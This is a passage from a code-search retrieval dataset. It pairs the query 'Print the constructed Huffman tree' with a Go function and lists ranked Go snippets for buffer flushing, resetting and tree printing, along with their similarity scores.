`\"\"`, `{}`, `[]`: // last two bytes of every empty value\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (h *Hash) flush() {\n\tif h.n != len(h.buf) {\n\t\tpanic(\"maphash: flush of partially full buffer\")\n\t}\n\th.initSeed()\n\th.state.s = rthash(&h.buf[0], h.n, h.state.s)\n\th.n = 0\n}", "func (w *Writer) Reset(writer io.Writer) {\n\tw.w = writer\n\tw.b[0] = 0\n\tw.count = 8\n}", "func cleanData(bytes []byte) []byte {\n var regexp = pcre.MustCompileJIT(\"^>.*|\\n\", comFlags, jitFlags)\n var wg sync.WaitGroup\n ncpu := runtime.NumCPU()\n done := make([][]byte, ncpu)\n blen := len(bytes)\n todo := blen\n for i := 0; i < ncpu; i++ {\n size := todo / (ncpu - i)\n for size < todo && bytes[blen-todo+size-1] != '\\n' {\n size++\n }\n work := bytes[blen-todo : blen-todo+size]\n wg.Add(1)\n go func(work []byte, index int) {\n done[index] = regexp.ReplaceAll(work, []byte{}, 0)\n wg.Done()\n }(work, i)\n todo -= size\n }\n wg.Wait()\n size := 0\n for i := 0; i < ncpu; i++ {\n size += len(done[i])\n }\n clean := make([]byte, 0, size)\n for i := 0; i < ncpu; i++ {\n clean = append(clean, done[i]...)\n }\n return clean\n}", "func (b *Writer) Reset(w io.Writer)", "func (h *hmacsha256) Reset() {\n\th.inner.Reset()\n\th.inner.Write(h.ipad[:])\n}", "func (Screen *ScreenManager) Flush() {\n\tfor idx, str := range strings.Split(Screen.Buffer.String(), \"\\n\") {\n\t\tif idx > Screen.Height() {\n\t\t\treturn\n\t\t}\n\t\tif idx > 0 {\n\t\t\tScreen.OutStream.WriteString(\"\\n\" + str)\n\t\t} else {\n\t\t\tScreen.OutStream.WriteString(str)\n\t\t}\n\t}\n\n\tScreen.OutStream.Flush()\n\tScreen.Buffer.Reset()\n}", "func (d *Decoder) reset() {\n\tif unread := len(d.buf) - d.r1; unread == 0 {\n\t\t// No bytes in the buffer, so we can start from the beginning without\n\t\t// needing to copy anything (and get better cache behaviour too).\n\t\td.buf = d.buf[:0]\n\t\td.r1 = 0\n\t} else if !d.complete && unread <= maxSlide {\n\t\t// Slide the unread portion of the buffer to the\n\t\t// start so that when we read more data,\n\t\t// there's less chance that we'll need to grow the buffer.\n\t\tcopy(d.buf, d.buf[d.r1:])\n\t\td.r1 = 0\n\t\td.buf = d.buf[:unread]\n\t}\n\td.r0 = d.r1\n\td.escBuf = d.escBuf[:0]\n}", "func (m *mockHTTPWriter) Flush() {}", "func WriteFull(w io.Writer, d []byte) (err error) {\n\tvar n int\n\tfor n < len(d) {\n\t\tvar o int\n\t\to, err = w.Write(d[n:])\n\t\tif err == nil {\n\t\t\tn += o\n\t\t} else {\n\t\t\tbreak\n\t\t}\n\t}\n\treturn\n}", "func (ww *Writer) flush() (int, error) {\n\tdebug(\"flush: %q\\n\", string(ww.lb.Bytes()))\n\tif ww.lb.Len() == 0 {\n\t\treturn 0, nil\n\t}\n\tnw, err := ww.lb.WriteTo(ww.Writer)\n\treturn int(nw), err\n}", "func (fc *familyChannel) flushChunk() {\n\tcompressed, err := fc.chunk.Compress()\n\tif err != nil {\n\t\tfc.logger.Error(\"compress chunk err\", logger.Error(err))\n\t\treturn\n\t}\n\tif compressed == nil || len(*compressed) == 0 {\n\t\treturn\n\t}\n\tselect {\n\tcase fc.ch <- compressed:\n\t\tfc.statistics.PendingSend.Incr()\n\tcase <-fc.ctx.Done():\n\t\tfc.logger.Warn(\"writer is canceled\")\n\t}\n}", "func (w *Writer) Flush() error {\n\tif w.buf.Len() == 0 {\n\t\treturn nil\n\t}\n\n\tif err := w.clearLines(); err != nil {\n\t\treturn err\n\t}\n\tw.lines = countLines(w.buf.String())\n\n\tif _, err := w.w.Write(w.buf.Bytes()); err != nil {\n\t\treturn err\n\t}\n\n\tw.buf.Reset()\n\treturn nil\n}", "func (o StdOutput) Flush() error {\n\treturn nil\n}", "func (c *CryptoStreamConn) Flush() (int, error) {\n\tn, err := io.Copy(c.stream, &c.writeBuf)\n\treturn int(n), err\n}", "func WriterFlush(w *zip.Writer,) error", "func (e *encoder) Close() error {\n\t// If there's anything left in the buffer, flush it out\n\tif e.err == nil && e.nbuf > 0 {\n\t\tm := e.enc.Encode(e.out[0:], e.buf[0:e.nbuf])\n\t\t_, e.err = e.w.Write(e.out[0:m])\n\t\te.nbuf = 0\n\t}\n\treturn e.err\n}", "func (w *Writer) Reset(buffer BufferWriter) {\n\tw.out = buffer\n\tw.cache = 0\n\tw.available = 8\n}", "func (e *Encoder) Close() error {\n\tif e.p != 0 {\n\t\t_, err := e.w.Write(e.buf[:e.p])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\taudioBytes := e.n * int64(e.f.Bytes())\n\t_, err := e.w.Seek(4, os.SEEK_SET)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbuf := make([]byte, 4)\n\tbinary.LittleEndian.PutUint32(buf, uint32(audioBytes)+uint32(e.f.chunkSize())+uint32(chunkHdrSize))\n\t_, err = e.w.Write(buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = e.w.Seek(hdrChunkSize+int64(e.f.chunkSize())+chunkHdrSize-4, os.SEEK_SET)\n\tif err != nil {\n\t\treturn err\n\t}\n\tbinary.LittleEndian.PutUint32(buf, uint32(audioBytes))\n\t_, err = e.w.Write(buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn e.w.Close()\n}", "func workaroundFlush(w http.ResponseWriter) {\n\tw.(http.Flusher).Flush()\n}", "func (w *Writer) Reset(writer io.Writer) {\n\tw.w = writer\n\tw.err = nil\n\tif w.ibuf != nil {\n\t\tw.ibuf = w.ibuf[:0]\n\t}\n\tw.wroteStreamHeader = false\n}", "func (b *Writer) Finish() []byte {\n\tif b.closed {\n\t\tpanic(\"opeartion on closed block writer\")\n\t}\n\n\tb.closed = true\n\n\t// C++ leveldb need atleast 1 restart entry\n\tif b.restarts == nil {\n\t\tb.restarts = make([]uint32, 1)\n\t}\n\n\tfor _, restart := range b.restarts {\n\t\tbinary.Write(b.buf, binary.LittleEndian, restart)\n\t}\n\tbinary.Write(b.buf, binary.LittleEndian, uint32(len(b.restarts)))\n\n\treturn b.buf.Bytes()\n}", "func (lbw *LineBufferingWriter) Flush() error {\n\tlbw.bufferLock.Lock()\n\tdefer lbw.bufferLock.Unlock()\n\tif len(lbw.buf) == 0 {\n\t\treturn nil\n\t}\n\n\t_, err := lbw.wrappedWriter.Write(lbw.buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlbw.buf = []byte{}\n\treturn nil\n}", "func (w *binWriterBuffer) Flush() (int64, error) {\n\tif w.err != nil {\n\t\treturn 0, w.err\n\t}\n\n\treturn w.buf.WriteTo(w.w)\n}", "func (bw *BufWriter) Flush() error {\n\tif bw.Error != nil {\n\t\treturn bw.Error\n\t}\n\tbw.Error = bw.writer.Flush()\n\treturn bw.Error\n}", "func (b *ByteBuffer) Reset() {\n\tb.B = b.B[:0]\n}", "func (b *Buffer) Reset() {\n\tb.writeCursor = 0\n\tb.written = 0\n}", "func (b *Buffer) Reset() {\n\tb.buf = b.buf[:0]\n}", "func (e *encoder) Close() error {\n\t// If there's anything left in the buffer, flush it out\n\tif e.err == nil && e.nbuf > 0 {\n\t\te.enc.Encode(e.out[0:], e.buf[0:e.nbuf])\n\t\tencodedLen := e.enc.EncodedLen(e.nbuf)\n\t\te.nbuf = 0\n\t\t_, e.err = e.w.Write(e.out[0:encodedLen])\n\t}\n\treturn e.err\n}", "func (b *mpgBuff) fill(buff *concBuff) {\n\tbuff.Lock()\n\tn, err := b.fileDec.Read(buff.data)\n\tbuff.len = n\n\tbuff.pos = 0\n\tif err == mpg123.EOF {\n\t\tb.eof = true\n\t}\n\tbuff.Unlock()\n}", "func (w *Writer) flush() (int, error) {\n\tdefer func() {\n\t\tw.mux.Unlock()\n\t}()\n\tw.mux.Lock()\n\n\tif len(w.chunk) > 0 {\n\t\t// lines are containing newline, chunk may not\n\t\tchunk := w.chunk\n\t\tw.chunk = nil\n\t\tw.store = append(w.store, chunk)\n\t}\n\n\t// we only need to care about the full matches in the remaining lines\n\t// (no more lines were come, why care about the partial matches?)\n\tmatchMap, _ := w.matchSecrets(w.store)\n\tredactedLines := w.redact(w.store, matchMap)\n\tw.store = nil\n\n\treturn w.writer.Write(bytes.Join(redactedLines, nil))\n}", "func TestDataPrematureEnd(t *testing.T) {\n\tb := bytes.Buffer{}\n\tw := NewWriter(&b)\n\terr := w.Open(\"[email protected]\", time.Now())\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\t_, err = w.Write([]byte(test7))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\terr = w.Close()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\tresult := b.String()\n\tresult = result[strings.Index(result, \"\\n\")+1:] // cut the header off\n\tif result != test7Expected+\"\\n\" {\n\t\tt.Error(\"did not get test7_expected\")\n\t}\n}", "func (fb *FrameBuffer) Flush() error {\n\tfb.file.Seek(0, 0)\n\t_, err := fb.file.Write(fb.buf)\n\treturn err\n}", "func (f *Formatter) Flush(limit bool) error {\n\tcols, rows := termSize()\n\n\tf.mu.Lock()\n\tdefer f.mu.Unlock()\n\n\tif len(f.buf.Bytes()) == 0 {\n\t\treturn nil\n\t}\n\n\tout := string(f.buf.Bytes())\n\tif limit {\n\t\twidth := 0\n\t\tlines := 0\n\t\tfor i, r := range out {\n\t\t\tif r == '\\n' {\n\t\t\t\twidth = 0\n\t\t\t\tlines++\n\t\t\t} else if width++; width > cols {\n\t\t\t\twidth = 0\n\t\t\t\tlines++\n\t\t\t}\n\t\t\tif lines == rows {\n\t\t\t\tout = out[0:i]\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\ttermStartOfRow(f.w)\n\t_, err := f.w.Write([]byte(out))\n\tf.buf.Reset()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn f.w.Flush()\n}", "func Dump(out io.Writer, title string, data []byte) {\n output := fmt.Sprintf(\"******** %s (%d)\\n\", title, len(data))\n out.Write([]byte(output))\n for offset := 0; offset < len(data); offset += 16 {\n output = fmt.Sprintf(\"%08x\", offset)\n ep := offset + 16\n if ep > len(data) { ep = len(data); }\n part := data[offset:ep]\n for _, c := range part {\n output += fmt.Sprintf(\" %02x\", c)\n }\n for len(output) < 8 + 3 * 16 {\n output += \" \"\n }\n output += \" |\"\n for _, c := range part {\n /*\n s := fmt.Sprintf(\"%q\", c)\n if s[1] == '\\\\' {\n if s[2] == '\\\\' {\n output += \"\\\\\" // the backslash itself\n } else {\n output += \".\" // non-printable stuff\n }\n } else {\n output += string(s[1]) // printable\n }\n */\n if c < ' ' || c > '~' { // is it a dirty hack? well, maybe.\n output += \".\" // non-printable stuff\n } else {\n output += string(c) // printable\n }\n }\n for len(output) < 8 + 3 * 16 + 2 + 16 {\n output += \" \"\n }\n output += \"|\\n\"\n out.Write([]byte(output))\n }\n output = fmt.Sprintf(\"%08x = %d\\n\", len(data), len(data))\n out.Write([]byte(output))\n}", "func (b *RecordBuffer) Flush() {\n\tb.recordsInBuffer = b.recordsInBuffer[:0]\n\tb.sequencesInBuffer = b.sequencesInBuffer[:0]\n}", "func (o *Output) cleanup() {\r\n\to.writer.Flush()\r\n\to.file.Close()\r\n}" ]
[ "0.65437937", "0.6193655", "0.6111782", "0.5985848", "0.5838739", "0.57894355", "0.57892287", "0.5777491", "0.57667696", "0.57257664", "0.56634104", "0.5662461", "0.56282485", "0.5565944", "0.5565778", "0.55408823", "0.55345553", "0.55337304", "0.55255216", "0.5509925", "0.55076087", "0.5481468", "0.5417408", "0.54152757", "0.53995764", "0.5398609", "0.5390567", "0.5361023", "0.5330644", "0.53198826", "0.53112453", "0.53092694", "0.5302449", "0.52993256", "0.5294455", "0.52846694", "0.52764213", "0.52722025", "0.52645344", "0.52603954", "0.5251019", "0.5232248", "0.5209227", "0.5204957", "0.520261", "0.52014273", "0.5200445", "0.52004087", "0.51988685", "0.517571", "0.5168338", "0.5164452", "0.5164261", "0.5149124", "0.51468647", "0.5142641", "0.5131992", "0.51240623", "0.5122267", "0.5112226", "0.5112226", "0.5112226", "0.50931257", "0.5085216", "0.50829124", "0.5074449", "0.5072737", "0.5069864", "0.50666076", "0.50632066", "0.5062025", "0.50572044", "0.50527173", "0.50516385", "0.5048968", "0.5039846", "0.503674", "0.5035497", "0.502839", "0.5025944", "0.5021955", "0.5016295", "0.50162196", "0.5009759", "0.50061613", "0.49987194", "0.49964604", "0.4970952", "0.49646726", "0.4957465", "0.4956733", "0.49560988", "0.49559432", "0.49500644", "0.4947981", "0.49369204", "0.4934555", "0.49258372", "0.49171472", "0.49162343" ]
0.517923
49
Print the constructed Huffman tree
func (enc *HuffmanEncoder) ShowHuffTree() { traverse(enc.root, "") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (n *Node) print() string {\n\n\th := n.height()\n\tprintMap = make(map[int][]int, h)\n\tfor i := 1; i <= h; i++ {\n\t\tn.printByLevel(i)\n\t}\n\tfor key := h; key > 0; key-- {\n\t\tfor j := h; j > key; j-- {\n\t\t\tfor _, k := range printMap[j] {\n\t\t\t\tif arrayutils.InInt(printMap[key], k) {\n\t\t\t\t\tprintMap[key] = arrayutils.RemoveByValue[int](printMap[key], k)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\ts := fmt.Sprintf(\"Tree: %+v\", printMap)\n\tprintMap = nil\n\n\treturn s\n}", "func (t *ASCIITree) PrintTree(w io.Writer) {\n\tancestorPrefix := \"\"\n\tfor _, parent := range t.Ancestors() {\n\t\tif parent.Level() <= 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif parent.Last() {\n\t\t\tancestorPrefix += \" \"\n\t\t} else {\n\t\t\tancestorPrefix += \" │\"\n\t\t}\n\t}\n\n\tmyPrefix := \"\"\n\tmultilinePrefix := \"\"\n\tif t.Level() > 0 {\n\t\tif t.Last() {\n\t\t\tif t.Empty() {\n\t\t\t\tmyPrefix += \" └── \"\n\t\t\t\tmultilinePrefix += \" \"\n\t\t\t} else {\n\t\t\t\tmyPrefix += \" └─┬ \"\n\t\t\t\tmultilinePrefix += \" └─┬ \"\n\t\t\t}\n\t\t} else {\n\t\t\tif t.Empty() {\n\t\t\t\tmyPrefix += \" ├── \"\n\t\t\t\tmultilinePrefix += \" │ \"\n\t\t\t} else {\n\t\t\t\tmyPrefix += \" ├─┬ \"\n\t\t\t\tmultilinePrefix += \" │ │ \"\n\t\t\t}\n\t\t}\n\t}\n\n\tif t.Text != \"\" {\n\t\tlines := strings.Split(t.Text, \"\\n\")\n\t\tfmt.Fprintf(w, \"%s%s%s\\n\", ancestorPrefix, myPrefix, lines[0])\n\t\tfor _, line := range lines[1:] {\n\t\t\tfmt.Fprintf(w, \"%s%s%s\\n\", ancestorPrefix, multilinePrefix, line)\n\t\t}\n\t}\n\n\tfor _, child := range t.children {\n\t\tchild.PrintTree(w)\n\t}\n}", "func (t *Tree) Print(w io.Writer, f IterateFunc, itemSiz int) {\n\n\tfmt.Fprintf(w, \"treeNode-+-Left \\t / Left High\\n\")\n\tfmt.Fprintf(w, \" | \\t = Equal\\n\")\n\tfmt.Fprintf(w, \" +-Right\\t \\\\ Right High\\n\\n\")\n\n\tmaxHeight := t.Height()\n\n\tif f != nil && t.root != nil {\n\t\td := &printData{0, itemSiz, make([]byte, maxHeight), 0, f, w}\n\t\td.printer(t.root)\n\t}\n}", "func Print(root *Node) {\n\t// traverse traverses a subtree from the given node,\n\t// using the prefix code leading to this node, having the number of bits specified.\n\tvar traverse func(n *Node, code uint64, bits byte)\n\n\ttraverse = func(n *Node, code uint64, bits byte) {\n\t\tif n.Left == nil {\n\t\t\t// Leaf\n\t\t\tfmt.Printf(\"'%c': %0\"+strconv.Itoa(int(bits))+\"b\\n\", n.Value, code)\n\t\t\treturn\n\t\t}\n\t\tbits++\n\t\ttraverse(n.Left, code<<1, bits)\n\t\ttraverse(n.Right, code<<1+1, bits)\n\t}\n\n\ttraverse(root, 0, 0)\n}", "func print(tree *Tree) {\n\tif tree != nil {\n\t\tfmt.Println(\" Value\",tree.Value)\n\t\tfmt.Printf(\"Tree Node Left\")\n\t\tprint(tree.LeftNode)\n\t\tfmt.Printf(\"Tree Node Right\")\n\t\tprint(tree.RightNode)\n\t} else {\n\n\t}\n\tfmt.Printf(\"Nil\\n\")\n}", "func (node *Node) printTree1(out *bytes.Buffer, isRight bool, indent string) {\n\n\tif (node.Left != nil) {\n\t\tstr := \" \"\n\t\tif isRight {\n\t\t\tstr = \" | \"\n\t\t}\n\t\tstr = indent + str\n\t\tnode.Left.printTree1(out, false, str)\n\t}\n\n\tout.Write([]byte(indent))\n\tif (isRight) {\n\t\tout.Write([]byte(\"\\\\\"))\n\t} else {\n\t\tout.Write([]byte (\"/\"))\n\t}\n\tout.Write([]byte(\"--\"))\n\n\tnode.printNodeValue(out)\n\n\tif (node.Right != nil) {\n\t\tstr := \" | \"\n\t\tif isRight {\n\t\t\tstr = \" \"\n\t\t}\n\t\tstr = indent + str\n\t\tnode.Right.printTree1(out, true, str)\n\t}\n\n}", "func (t *Tree) Print() {\n\tvar findMaxLevel func(*Node) int\n\tfindMaxLevel = func(r *Node) int {\n\t\tif r == nil {\n\t\t\treturn 0\n\t\t}\n\n\t\tleftLevel := findMaxLevel(r.left)\n\t\trightLevel := findMaxLevel(r.right)\n\n\t\tif leftLevel > rightLevel {\n\t\t\treturn leftLevel + 1\n\t\t} else {\n\t\t\treturn rightLevel + 1\n\t\t}\n\t}\n\n\tprintSpace := func(n int) {\n\t\tfor i := 0; i < n; i++ {\n\t\t\tfmt.Print(\" \")\n\t\t}\n\t}\n\n\tvar printLevel func([]*Node, int, int)\n\tprintLevel = func(nList []*Node, l int, maxLevel int) {\n\t\tinitalSpaces := int(math.Pow(2, float64(maxLevel-l))) - 1\n\t\tseparaterSpaces := int(math.Pow(2, float64(maxLevel-l+1))) - 1\n\n\t\tisAllElementsNil := true\n\n\t\tprintSpace(initalSpaces)\n\t\tnewList := []*Node{}\n\t\tfor _, n := range nList {\n\t\t\tif n != nil {\n\t\t\t\tisAllElementsNil = false\n\t\t\t\tfmt.Print(n.value)\n\t\t\t\tnewList = append(newList, n.left)\n\t\t\t\tnewList = append(newList, n.right)\n\t\t\t} else {\n\t\t\t\tfmt.Print(\" \")\n\t\t\t\tnewList = append(newList, nil)\n\t\t\t\tnewList = append(newList, nil)\n\t\t\t}\n\t\t\tprintSpace(separaterSpaces)\n\t\t}\n\n\t\tfmt.Println(\"\")\n\n\t\tif !isAllElementsNil {\n\t\t\tprintLevel(newList, l+1, maxLevel)\n\t\t}\n\t}\n\n\tmaxLevel := findMaxLevel(t.r)\n\tnList := []*Node{t.r}\n\tprintLevel(nList, 1, maxLevel)\n}", "func print(tree *BinarySearchTree) {\n\tif tree != nil {\n\n\t\tfmt.Println(\" Value\", tree.rootNode.value)\n\t\tfmt.Printf(\"Root Tree Node\")\n\t\tprintTreeNode(tree.rootNode)\n\t\t//fmt.Printf(\"Tree Node Right\")\n\t\t//print(tree.rootNode.rightNode)\n\t} else {\n\t\tfmt.Printf(\"Nil\\n\")\n\t}\n}", "func (t *treeNode) print(height int) {\n\tif t == nil {\n\t\treturn\n\t}\n\tformat := \"--[\"\n\tt.Right.print(height + 1)\n\tfmt.Printf(\"%*s%d\\n\", 7*(height+1), format, t.Value)\n\tt.Left.print(height + 1)\n}", "func (tree *Tree) Print() {\n\tfmt.Println()\n\n\tfor _, leaves := range tree.leaves {\n\t\tfor _, leaf := range leaves {\n\t\t\tswitch leaf {\n\t\t\tcase \"★\":\n\t\t\t\tyellowColor.Print(leaf)\n\t\t\tdefault:\n\t\t\t\trandomColor().Print(leaf)\n\t\t\t}\n\t\t}\n\n\t\tfmt.Println()\n\t}\n\n\tfmt.Println()\n\n\tyellowColor.Print(tree.company)\n\tredColor.Print(\" loves\")\n\tyellowColor.Print(\" you,\")\n\tredColor.Print(\" Merry Christmas!\")\n\n\tfmt.Println()\n\tfmt.Println()\n}", "func main() {\r\n\ttest := \"abcdefghijklmnopqrstuvwxyz\"\r\n\r\n\tsymFreqs := make(map[rune]int)\r\n\t// read each symbol and record the frequencies\r\n\tfor _, c := range test {\r\n\t\tsymFreqs[c]++\r\n\t}\r\n\r\n\t// example tree\r\n\texampleTree := buildTree(symFreqs)\r\n\r\n\t// print out results\r\n\tfmt.Println(\"SYMBOL\\tWEIGHT\\tHUFFMAN CODE\")\r\n\tprintCodes(exampleTree, []byte{})\r\n}", "func (t *DiskTree) Print(w io.Writer, n *Node, prefix string) {\n\tdn := t.dnodeFromNode(n)\n\tif len(dn.Children) == 0 {\n\t\tfmt.Fprintf(w, \"%s %s\\n\", Decode(prefix), n.Value)\n\t} else {\n\t\tfor _, c := range dn.Children {\n\t\t\tcnode := t.dnodeFromHash(c)\n\t\t\tt.Print(w, cnode.toMem(), prefix+cnode.Edgename)\n\t\t}\n\t\tif len(n.Value) != 0 {\n\t\t\tfmt.Fprintf(w, \"%s %s\\n\", Decode(prefix), n.Value)\n\t\t}\n\t}\n}", "func (t *BinaryTree) Print() {\n\tn := t.root\n\tn.print(\"\")\n}", "func (bh *BinomialHeap) print() {\n if bh.forest_head == nil {\n fmt.Print(\"heap is empty.\")\n }\n\n for _, node := range nodeIterator(bh.forest_head) {\n node.print_recursive(0)\n }\n}", "func print(tree *Tree) {\nif tree != nil {\nfmt.Println(\" Value\",tree.Value)\nfmt.Printf(\"Tree Node Left\")\nprint(tree.LeftNode)\nfmt.Printf(\"Tree Node Right\")\nprint(tree.RightNode)\n} else {\n\t\n\tfmt.Printf(\"Nil\\n\")\n}\n}", "func (t *Tree) print(prefix string, root *leaf) {\n\tif root == nil {\n\t\tfor m := range t.nodes {\n\t\t\tfmt.Println(m)\n\t\t\tt.print(\"\", t.nodes[m])\n\t\t}\n\t\treturn\n\t}\n\tprefix = fmt.Sprintf(\"%s -> %s\", prefix, root.pattern)\n\tfmt.Println(prefix)\n\troot.children = append(root.children, root.paramChild)\n\troot.children = append(root.children, root.wideChild)\n\tfor i := range root.children {\n\t\tif root.children[i] != nil {\n\t\t\tt.print(prefix, root.children[i])\n\t\t}\n\t}\n}", "func (node Node) Print(depth int) {\n\n\tif node.right != nil {\n\t\tnode.right.Print(depth + 1)\n\t}\n\n\tpadding := padding(depth)\n\tfmt.Printf(\"%s[%v] Value: %v\\n\", padding, symbols(node.balance), node.value)\n\n\tif node.left != nil {\n\t\tnode.left.Print(depth + 1)\n\t}\n}", "func printNode(n *node) {\n\tvar buf bytes.Buffer\n\n\tbuf.WriteString(fmt.Sprintf(\"[prefix: %s] \", n.Prefix))\n\tif n.Children != nil {\n\t\tbuf.WriteString(fmt.Sprintf(\"[child: %s] \", n.Children.Prefix))\n\t}\n\tif n.Next != nil {\n\t\tbuf.WriteString(fmt.Sprintf(\"[next: %s] \", n.Next.Prefix))\n\t}\n\tif n.Leaf != nil {\n\t\tbuf.WriteString(fmt.Sprintf(\"[value(key): %s]\", n.Leaf.Key))\n\t}\n\n\tprint(buf.String())\n}", "func (hr *HashRing) Print() string {\n\tkeys := hr.getSortedKeys()\n\ts := \"\"\n\tfor _, key := range keys {\n\t\tnode := hr.ring[key]\n\t\ts += fmt.Sprintf(\"%s<Degree: %v>\\n\", node.Print(), strconv.Itoa(key))\n\t}\n\treturn s\n}", "func (t *Tree) Print() {\n\tdfs(t.Root)\n}", "func (mt *merkleTreeImp) Print() string {\n\tbuffer := bytes.Buffer{}\n\tbuffer.WriteString(\"\\n------------\\n\")\n\tif mt.root == nil {\n\t\tbuffer.WriteString(\"Merkle Tree: Empty tree.\\n\")\n\t} else {\n\n\t\tbuffer.WriteString(fmt.Sprintf(\"Merkle tree: root hash <%s>\\n\", hex.EncodeToString(mt.GetRootHash())[:6]))\n\t\tbuffer.WriteString(mt.root.print(mt.treeData, mt.userData))\n\t}\n\tbuffer.WriteString(\"------------\\n\")\n\treturn buffer.String()\n}", "func (tree *Tree) PrintLevels() {\n\tfmt.Println(\"BFS vals: \")\n\tvisitor := func(node *TreeNode) {\n\t\tfmt.Printf(\"%d \", node.data)\n\t}\n\ttree.visitBFS(visitor)\n\tfmt.Println()\n}", "func (tree *UTree) String() string {\r\n\tstr := \"RedBlackTree\\n\"\r\n\tif !tree.Empty() {\r\n\t\toutput(tree.root, \"\", true, &str)\r\n\t}\r\n\treturn str\r\n}", "func encodeTree(hmt *Tree, finalTree *string) {\n\tif hmt == nil {\n\t\treturn\n\t}\n\t\n\tif hmt.LeftNode == nil && hmt.RightNode == nil{\n\t\t*finalTree += \"1\" + string(hmt.Char)\n\t} else {\n\t\t*finalTree += \"0\"\n\t}\n\tencodeTree(hmt.LeftNode, finalTree)\n\tencodeTree(hmt.RightNode, finalTree) \n}", "func (t *Trie) Show() {\n\tfmt.Println(\"root\")\n\tfmt.Println(\"|\")\n\tfor _, n := range t.root.getChilds() {\n\t\tn.show()\n\t}\n}", "func (node *Node) PrintStructure(indent int, character string) {\n\tfor i := 0; i < indent; i++ {\n\t\tfmt.Print(character)\n\t}\n\tfmt.Println(node.Data)\n\tfor _, child := range node.Children {\n\t\tchild.PrintStructure(indent+1, character)\n\t}\n\tif len(node.Children) == 0 {\n\t\treturn\n\t}\n\tfor i := 0; i < indent; i++ {\n\t\tfmt.Print(character)\n\t}\n\tfmt.Println(node.Data)\n}", "func (t *BuildTree) PrintTree(noColor bool) {\n\tfor _, node := range t.rootNodes {\n\t\tt.printTree(node, 0, noColor)\n\t}\n}", "func (tree *Tree) String() string {\n\tstr := \"RedBlackTree\\n\"\n\tif !tree.Empty() {\n\t\toutput(tree.Root, \"\", true, &str)\n\t}\n\treturn str\n}", "func PrintObjectTree(htype *HType) string {\n\tif htype.children == nil {\n\t\treturn fmt.Sprintf(\"%d: %s\", htype.checkValue, htype.name)\n\t}\n\treturn fmt.Sprintf(\"%d: %s(%s)\", htype.checkValue, htype.name, strings.Join(forall(htype.children, PrintObjectTree), \", \"))\n}", "func PrintTree(tree []*Edge) {\n\tfor _, edge := range tree {\n\t\tfmt.Printf(\"From: %s -> To: %s -> Cost: %d \\n\",\n\t\t\tedge.From.Name,\n\t\t\tedge.To.Name,\n\t\t\tedge.Cost,\n\t\t)\n\t}\n}", "func PrintTree(pager *Pager, pageNum uint32, indentLevel uint32) {\n\tvar page *Page = GetPage(pager, pageNum)\n\tvar numKeys, child uint32\n\tswitch GetNodeType(page.Mem[:]) {\n\tcase TypeLeafNode:\n\t\tnumKeys = *LeafNodeNumCells(page.Mem[:])\n\t\tindent(indentLevel)\n\t\tfmt.Printf(\"- Leaf num of cells: %v\\n\", numKeys)\n\t\tfor i := uint32(0); i < numKeys; i++ {\n\t\t\tindent(indentLevel + 1)\n\t\t\tfmt.Printf(\"- (Leaf cell num: %v, key: %v)\\n\", i, *LeafNodeKey(page.Mem[:], i))\n\t\t}\n\tcase TypeInternalNode:\n\t\tnumKeys = *InternalNodeNumKeys(page.Mem[:])\n\t\tindent(indentLevel)\n\t\tfmt.Printf(\"- Internal num of cells: %v\\n\", numKeys)\n\t\tfor i := uint32(0); i < numKeys; i++ {\n\t\t\tchild = *InternalNodeChild(page.Mem[:], i)\n\t\t\tPrintTree(pager, child, indentLevel+1)\n\n\t\t\tindent(indentLevel + 1)\n\t\t\tfmt.Printf(\"- (Internal cell num: %v, key: %v)\\n\", i, *InternalNodeKey(page.Mem[:], i))\n\t\t}\n\t\tchild = *internalNodeRightChildPtr(page.Mem[:])\n\t\tPrintTree(pager, child, indentLevel+1)\n\t}\n}", "func stringify(n *Node, level int) {\n\tif n != nil {\n\t\tformat := \"\"\n\t\tfor i := 0; i < level; i++ {\n\t\t\tformat += \" \"\n\t\t}\n\t\tformat += \"---[ \"\n\t\tlevel++\n\t\tstringify(n.left, level)\n\t\tfmt.Printf(format+\"%d\\n\", n.key)\n\t\tstringify(n.right, level)\n\t}\n}", "func printNode(n *ind.IndicatorNode, ident string) string {\n\tvar l strings.Builder\n\tif n.Operator != \"\" {\n\t\tl.WriteString(ident + \"Operator: \" + n.Operator + \"\\n\")\n\t}\n\tif n.Pattern != nil {\n\t\tl.WriteString(ident + \"Pattern:\\n\")\n\t\tl.WriteString(ident + \" type: \" + n.Pattern.Type + \"\\n\")\n\t\tl.WriteString(ident + \" value: \" + n.Pattern.Value + \"\\n\")\n\t}\n\tif len(n.Children) > 0 {\n\t\tl.WriteString(ident + \"Children: [\\n\")\n\t\tfor i, child := range n.Children {\n\t\t\tl.WriteString(ident + strconv.Itoa(i) + \"\\n\" + printNode(child, ident+\" \"))\n\t\t}\n\t\tl.WriteString(ident + \"]\\n\")\n\t}\n\n\treturn l.String()\n}", "func (t *Tree) PrintTree() {\n\tb, err := json.MarshalIndent(t, \"\", \" \")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tfmt.Println(string(b))\n}", "func stringify(treeNode *TreeNode, level int) {\n\tif treeNode != nil {\n\t\tformat := \"\"\n\t\tfor i := 0; i < level; i++ {\n\t\t\tformat += \" \"\n\t\t}\n\t\tformat += \"***> \"\n\t\tlevel++\n\t\tstringify(treeNode.leftNode, level)\n\t\tfmt.Printf(format+\"%d\\n\", treeNode.key)\n\t\tstringify(treeNode.rightNode, level)\n\t}\n}", "func PrintTree(g *adjacencylist.AdjacencyList, s, v *adjacencylist.AdjListVertex) {\n\tif v == s {\n\t\tfmt.Println(s)\n\t} else if v.P != nil {\n\t\tPrintTree(g, s, v.P)\n\t\tfmt.Println(v)\n\t} else {\n\t\tfmt.Println(\"A path between these two vertices does not exist :(\")\n\t}\n}", "func (t 